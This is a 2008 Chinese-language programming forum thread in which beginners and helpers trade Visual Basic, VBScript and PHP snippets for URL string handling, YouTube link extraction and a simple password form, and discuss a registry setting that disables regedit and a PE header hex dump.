dim abcdefg as string = inputbox ("jbtalk is here!!")
My.Computer.Clipboard.SetText(abcdefg)

我老咯~~~~~
em0032
作者: goodhermit95    时间: 2008-4-9 09:31 PM
标题: 回复 #48 goodday 的帖子
出现什么debug 424。。。可以给我完整的吗？可能要空行还是什么的
作者: goodhermit95    时间: 2008-4-9 10:32 PM
我放弃那个了，现在我要问：
if textbox1:http://www.a%sgdgh#.com/
a button need the command to change "a%sgdgh#" to this:
text box 2:http://www.utube.com/
(after click the button then apper in text box 2)
means change text:"a%sgdgh#" in text box one change to "utube" and apper in text box two,another no changes so its same
no changes="http://www..com"

帮我弄一下代码。。。麻烦你了

[ 本帖最后由 goodhermit95 于 2008-4-9 10:34 PM 编辑 ]
作者: goodday    时间: 2008-4-10 04:44 AM
  1. Public Class Form1
  2.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  3.         Dim ArryStr As String() = Me.TextBox1.Text.Split(".")
  4.         Dim EndIndex As Integer = ArryStr.Length - 1
  5.         Me.TextBox2.Text = ArryStr(0) & "." & "utube" & "." & ArryStr(EndIndex)
  6.     End Sub
  7. End Class
复制代码


[ 本帖最后由 goodday 于 2008-4-10 05:05 AM 编辑 ]
作者: goodday    时间: 2008-4-10 05:08 AM
三行收工
爽~~~~~~
还能减  的

C# 1行

作者: goodhermit95    时间: 2008-4-10 10:16 AM
标题: 回复 #52 goodday 的帖子
有弄错吗？我要的是VB。。。不是end sub 吗？
我写出来会放你名字的 谢谢！
作者: Super-Tomato    时间: 2008-4-10 02:34 PM
原帖由 goodhermit95 于 2008-4-10 10:16 AM 发表
有弄错吗？我要的是VB。。。不是end sub 吗？
我写出来会放你名字的 谢谢！



goodday已經寫出了他是會用 split 來處理啊

Dim url() as String
url = split(Text1.text)
'這樣一來 url(0) 和 url(2) 就是你原本的 http://www 和 com
'再來就是用 & 把這個陣列串連起來就好了啊
MsgBox(url(0) & "utube" & url(2))
作者: goodhermit95    时间: 2008-4-10 09:35 PM
可是我放下去一直出error。。。说 （）有问题，不然 = 有问题 ，怪怪的！！什么都不能！还是我的VB有问题
作者: goodday    时间: 2008-4-11 12:10 AM
原帖由 goodhermit95 于 2008-4-10 10:16 AM 发表
有弄错吗？我要的是VB。。。不是end sub 吗？
我写出来会放你名字的 谢谢！

哇~~ 不要搞这样大叻
你是vb6 啊？？？
作者: goodday    时间: 2008-4-11 12:37 AM

  2. dim Input
  3. Input = inputbox("Input Domain","jbtalks.cc Forver","http://www.a%sgdgh#.com/")

  5. Dim AryA
  6. AryA = split(Input,".")

  8. Dim ArryAindex
  9. ArryAindex = UBound(AryA)

  11. MsgBox(AryA(0) & "." & "utube" & "." & AryA(ArryAindex))
复制代码


开notepas   save as ===> a.vbs
paste code 进去
作者: goodday    时间: 2008-4-11 12:39 AM

如果是 .com.my 叻
？？？
上车咯~~~~
有BUG ~~~
老了
作者: goodday    时间: 2008-4-11 12:44 AM
原帖由 goodhermit95 于 2008-4-10 09:35 PM 发表
可是我放下去一直出error。。。说 （）有问题，不然 = 有问题 ，怪怪的！！什么都不能！还是我的VB有问题


http://doc.51windows.net/vbscrip ... /html/vsfctCStr.htm
自己进去看
我老了~~~~~
作者: goodday    时间: 2008-4-11 12:46 AM
原帖由 Super-Tomato 于 2008-4-10 02:34 PM 发表



goodday已經寫出了他是會用 split 來處理啊

Dim url() as String
url = split(Text1.text)
'這樣一來 url(0) 和 url(2) 就是你原本的 http://www 和 com
'再來就是用 & 把這個陣列串連起來就好了啊 ...


番茄近期很少出手，我献丑咯em0005
作者: goodhermit95    时间: 2008-4-11 09:08 AM
～。～ 还是不明白我要什么，直接放出来吧！不要偷我的版权哦！
放你名字没有错啊，全部code你给的
作者: goodday    时间: 2008-4-11 11:06 PM
原帖由 goodhermit95 于 2008-4-11 09:08 AM 发表
～。～ 还是不明白我要什么，直接放出来吧！不要偷我的版权哦！
放你名字没有错啊，全部code你给的


老板，你的 get_video.php <---- 不能跑咯

去google 看了他的 api 没有download 的api
要找 dhilip89 叻 他会 http raw msg protocol
作者: youzi    时间: 2008-4-11 11:26 PM
有没有各位大大...
看不懂你们在干麻...
可以解释下吗？
抓病毒怎么抓？
放进去了抓不到会怎样？
用还原系统会不会有很好的帮助？
作者: goodhermit95    时间: 2008-4-12 08:19 AM
标题: 回复 #64 youzi 的帖子
我们防的病毒是捉不到的
作者: goodhermit95    时间: 2008-4-12 08:25 AM
标题: 回复 #63 goodday 的帖子
...算了。。。
dhilip89 很像不教人的，很多人问他都不理人
作者: goodhermit95    时间: 2008-4-12 09:04 AM
你在研究PHP吧，帮我看看这是什么，然后怎样用frontpage设计
* * last update: 2006/8/17 10:44 */ function parseUrl($url){ if(!function_exists('get_headers')){ function get_headers($url, $flag=1){ $url_info=parse_url($url); if(isset($url_info['scheme']) && $url_info['scheme'] == 'https'){ $port = 443; @$fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 10); }else{ $port = isset($url_info['port']) ? $url_info['port'] : 80; @$fp=fsockopen($url_info['host'], $port, $errno, $errstr, 10); } if($fp){ stream_set_timeout($fp, 10); $head = "HEAD ".@$url_info['path']."?".@$url_info['query']; $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n"; fputs($fp, $head); while(!feof($fp)){ if($header=trim(fgets($fp, 1024))) { $sc_pos = strpos( $header, ':' ); if( $sc_pos === false ) { $headers['status'] = $header; } else { $label = substr( $header, 0, $sc_pos ); $value = substr( $header, $sc_pos+1 ); //$headers[strtolower($label)] = trim($value); $headers[$label] = trim($value); } } } return $headers; }else{ return false; } } } $url=trim($url); if(preg_match('/http:\/\/video\.google\.com\/videoplay/',$url)){ $ff=file_get_contents($url); preg_match('/googleplayer\.swf\?(.*?)videoUrl.u003d(.*?)\&autoPlay/',$ff,$matches); $vurl=urldecode($matches[2]); }elseif(preg_match('/http:\/\/(www\.)?youtube.com/',$url)){ if(preg_match('/[\?&]v=/',$url) || preg_match('/p\.swf\?video_id=/',$url) || preg_match('/\/v\//',$url)){ $ff=file_get_contents($url); preg_match('/\"\/player2\.swf\?(.*?)\"/',$ff,$matches); $qstr=$matches[1]; parse_str($qstr,$qary); if(strlen($qary['video_id'])>0 && strlen($qary['t'])>0){ $vurl='http://www.youtube.com/get_video.php?video_id='.$qary['video_id'].'&t='.$qary['t']; }else{ if(strpos($url,'p.swf?video_id')!==false){ parse_str(substr($url,strpos($url,'?')+1),$qry_data); }else{ if(strpos($url,'com/v/')!==false){ $url_new='http://www.youtube.com/watch_video?v='.substr($url,strpos($url,'com/v/')+6); }else{ $url_new=$url; } $url_new=str_replace('watch?v=','watch_video?v=',$url_new); $url_new=str_replace('watch?search=','watch_video?search=',$url_new); $url_new_headers=get_headers($url_new); parse_str(substr($url_new_headers['Location'],strpos($url_new_headers['Location'],'?')+1),$qry_data); } if(strlen($qry_data['video_id'])>0 && strlen($qry_data['t'])>0){ $vurl='http://www.youtube.com/get_video.php?video_id='.$qry_data['video_id'].'&t='.$qry_data['t']; } } $vurl=get_headers($vurl,1); $vurl=$vurl['Location']; } } return $vurl; } ?>
作者: terence_say    时间: 2008-4-12 10:32 AM
本人有玩过VB，但不精通
作者: goodday    时间: 2008-4-12 08:51 PM
  老板 ~~~ 给我一点时间咯php

dhilip89 不是不教，是我们做programmer 的很难用文字表达咯

你知道 RFC 吗？？
http://www.faqs.org/rfcs/rfc2616.html
你读了你就会明白了咯
还有你问的问题很"卡"，要清楚咯。。。。

我们表达不到我们的program 概念的同时，你也很模糊的告诉我们你要什么咯
我们programer 最重要的 是 逻辑思维

我的顾客也不懂自己要什么的咯
写的 program 也没完没了， 我的顾客也没 逻辑的告诉我们咯
要靠自己的逻辑 分析 咯 帮他们的假设 咯 或商业逻辑分析



我和 dhilip89 炸到乱，我们都是研究的很深的咯
还有番茄，vampchen 都是很强的programmer  

hardware 的有real.gigaleon
论坛的好手很多啦
我问回你

我的电脑坏了，谁救救我  《----这句话
你会想到几个可能性？？？？
hardware  ??
software ??

我的电脑坏了，谁救救我<---这句话 没告诉我们
你是什么的情形下，之前的情形下

看病医生也会问你， 头痛？
流鼻水，发烧？？ 几时烧的？？ 吃过什么？？


我是讲出 我们的心声 你迟早我们一样的拉
我看得出你是很想学的人，可是你没人教

我们 （dhilip89 ，番茄，vampchen ，real.gigaleon ，宝进站长，还有我不认识的英雄）
也是自己 看书的看书，google的google， rfc 的 rfc， 读论坛的读论坛的
没人教的
好彩的根到人咯



你可以问我们咯
作者: goodday    时间: 2008-4-12 08:53 PM
原帖由 terence_say 于 2008-4-12 10:32 AM 发表
本人有玩过VB，但不精通


vb 的问题可以问我咯
我多数是.net 的

作者: goodhermit95    时间: 2008-4-12 10:39 PM
标题: 回复 #69 goodday 的帖子
不要叫我老板 -。-那么有没有PHP to HTM CONVERTER 这种东西的
我刚从图书馆借了。。。可是里面的东西没什么用到，学会了msgbox
作者: goodhermit95    时间: 2008-4-12 10:49 PM
对了，你们programmer是从哪里学起的？
作者: youzi    时间: 2008-4-12 11:39 PM
原帖由 goodhermit95 于 2008-4-12 08:19 AM 发表
我们防的病毒是捉不到的

不明白...
作者: goodhermit95    时间: 2008-4-13 12:13 AM
标题: 回复 #73 youzi 的帖子
这个原本是用在学校不要给同学乱按的。。。
作者: goodday    时间: 2008-4-13 12:39 AM
原帖由 goodhermit95 于 2008-4-12 10:49 PM 发表
对了，你们programmer是从哪里学起的？


http://www.jbtalks.cc/thread-195516-17-1.html

看看这个~~~
作者: goodday    时间: 2008-4-13 12:41 AM
原帖由 youzi 于 2008-4-12 11:39 PM 发表

不明白...


每天都有 新的 东西 ， 怎样防？？？
方不到咯

但抓得到的
作者: goodhermit95    时间: 2008-4-13 11:51 AM
标题: 回复 #76 goodday 的帖子
捉得到吗？ 我小学捉不到的？
作者: goodday    时间: 2008-4-13 04:32 PM
http://www.jbtalks.cc/viewthread ... e%3D1&frombbs=1
写了个给你看得明的

[ 本帖最后由 goodday 于 2008-4-13 04:39 PM 编辑 ]
作者: goodhermit95    时间: 2008-4-13 06:57 PM
标题: 回复 #78 goodday 的帖子


可是我方的都没有在 process 里面
作者: wei_en    时间: 2008-5-21 11:45 PM
两个good都是高手。
本人还在修读电脑。
作者: goodhermit95    时间: 2008-5-22 10:57 AM
标题: 回复 #80 wei_en 的帖子
你指的“两位”是谁？
goodday还有谁？？
我？不要觉得很难，我才十三岁
我都会你不会？很容易了解的
不要想得太复杂
作者: eawind    时间: 2008-5-23 10:02 AM
刚刚慢慢爬贴，发现到我正好想问的问题。


  2. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
  3. "DisableRegistryTools"=dword:00000001
复制代码


请问这对administrator用户组有效果吗？我在我电脑试，好象行不通....不懂为什么....

还有，gpedit里的设置，对admin用户组有效吗？

这贴很有意思，在其他论坛转了很久，总算找到一个不错的贴子。
作者: goodhermit95    时间: 2008-5-23 10:36 AM
标题: 回复 #82 eawind 的帖子
好像是可以，我记得在小学时的电脑是跑admin的
在admin里弄吧
作者: eawind    时间: 2008-5-23 01:52 PM
可是不知道为什么我加入这之后,还是能够用regedit....
作者: TSHsoft    时间: 2008-5-24 10:42 PM
会写程式的人都会写病毒的。只是要怎么伪装与隐藏病毒程式而已。
作者: 小泰山    时间: 2008-5-25 12:48 AM
谁要收收我这个徒弟
我保证我会努力学习我保证我会报答“恩公”
有的pm我好吗？
作者: goodhermit95    时间: 2008-5-25 12:54 AM
标题: 回复 #86 小泰山 的帖子
徒弟 =.="
徒弟
太夸张了em0007
作者: 小泰山    时间: 2008-5-25 01:23 AM
标题: 回复 #87 goodhermit95 的帖子
哈哈哈因为我真的真的很想学电脑
学电脑的程式是我现在的目标
学会抓virus是我的想做的事
去heck人家论坛送人家病毒是我的志愿（有点毒因为我不喜欢人家背叛我）
你能叫我吗
作者: TSHsoft    时间: 2008-5-25 11:05 AM
原帖由 小泰山 于 2008-5-25 01:23 AM 发表
哈哈哈因为我真的真的很想学电脑
学电脑的程式是我现在的目标
学会抓virus是我的想做的事
去heck人家论坛送人家病毒是我的志愿（有点毒因为我不喜欢人家背叛我）
你能叫我吗


你会用那种电脑程式语言啊？还是完全不会，也没有写程式的概念？
作者: 小泰山    时间: 2008-5-25 12:18 PM
我不会完全不会能教我吗？
作者: TSHsoft    时间: 2008-5-25 11:10 PM
原帖由 小泰山 于 2008-5-25 12:18 PM 发表
我不会完全不会能教我吗？


不会就很难学了。。。
作者: 小泰山    时间: 2008-5-25 11:17 PM
标题: 回复 #91 TSHsoft 的帖子
能教我能帮我吗？
作者: goodhermit95    时间: 2008-5-26 01:04 AM
标题: 回复 #92 小泰山 的帖子
没人可以帮你
看看这个，慢慢研究：
Private Sub CommandButton1()
If text1.text="password"
  Unload form1.frm
  Form2.show
  msgbox "welcome"
Else
  Msgbox="wrong password!!!!who are you????"
end if
end sub

我也不能跟你说这是什么，那是什么，msn教你（我不玩msn）
这是很普遍的Visual Basic Code，慢慢研究，你一定会的
你要hack人家电脑？！那我可不教你的em0013
写program不是玩的，是很烦的东西！！除非你真的很喜欢电脑……
作者: eawind    时间: 2008-5-26 12:16 PM
e
原帖由 goodhermit95 于 2008-5-26 01:04 AM 发表
没人可以帮你
看看这个，慢慢研究：
Private Sub CommandButton1()
If text1.text="password"
  Unload form1.frm
  Form2.show
  msgbox "welcome"
Else
  Msgbox="wrong password!!!!who are you???? ...


这未免也太简单了吧？哈哈..菜鸟都会黑...呵呵
作者: goodhermit95    时间: 2008-5-28 10:53 AM
标题: 回复 #94 eawind 的帖子
他说一点都不会嘛
给他暗示，用英文来翻译就看得懂了
不会英文就去读书！哈哈
作者: 10311031    时间: 2008-5-28 02:37 PM
标题: 谁看得懂？破解一下
00000050h:69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6F ;is program canno
00000060h:74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 20 ;t be run in DOS
00000070h:6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 ;mode....$.......
作者: goodhermit95    时间: 2008-5-28 05:04 PM
标题: 回复 #96 10311031 的帖子
这个是16位进制
msgbox还是什么？notepad的东西？你用notepad来开program是吧
作者: 天使夢    时间: 2008-5-28 11:51 PM
提示: 作者被禁止或删除 内容自动屏蔽
作者: TSHsoft    时间: 2008-5-29 08:20 PM
原帖由 天使夢 于 2008-5-28 11:51 PM 发表
想问一下 我电脑 已经中毒了
病毒是 我的 windows产生出来 - - 如何解救?

还有蠕虫这个是什么病毒


什么病毒？有用什么防毒软件吗？scan一下咯！
作者: goodday    时间: 2008-6-1 10:44 AM
原帖由 10311031 于 2008-5-28 02:37 PM 发表
00000050h:69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6F ;is program canno
00000060h:74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 20 ;t be run in DOS
00000070h:6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 ;mode....$.......


  错了 16 进位 不是十五   第一 第二
   第三行 更 离谱 十六值 不对 ascii 值



00000050h： 《--- program 的位子
通常给的

MZ       &yuml;&yuml;  &cedil;       @                                     &ordm; &acute;        &Iacute;!&cedil;L&Iacute;!This program cannot be run in DOS mode.


忙忙忙忙忙忙忙忙忙忙忙忙忙忙  跑人



欢迎光临 JBTALKS.CC (https://jbtalks.my/) Powered by Discuz! X2.5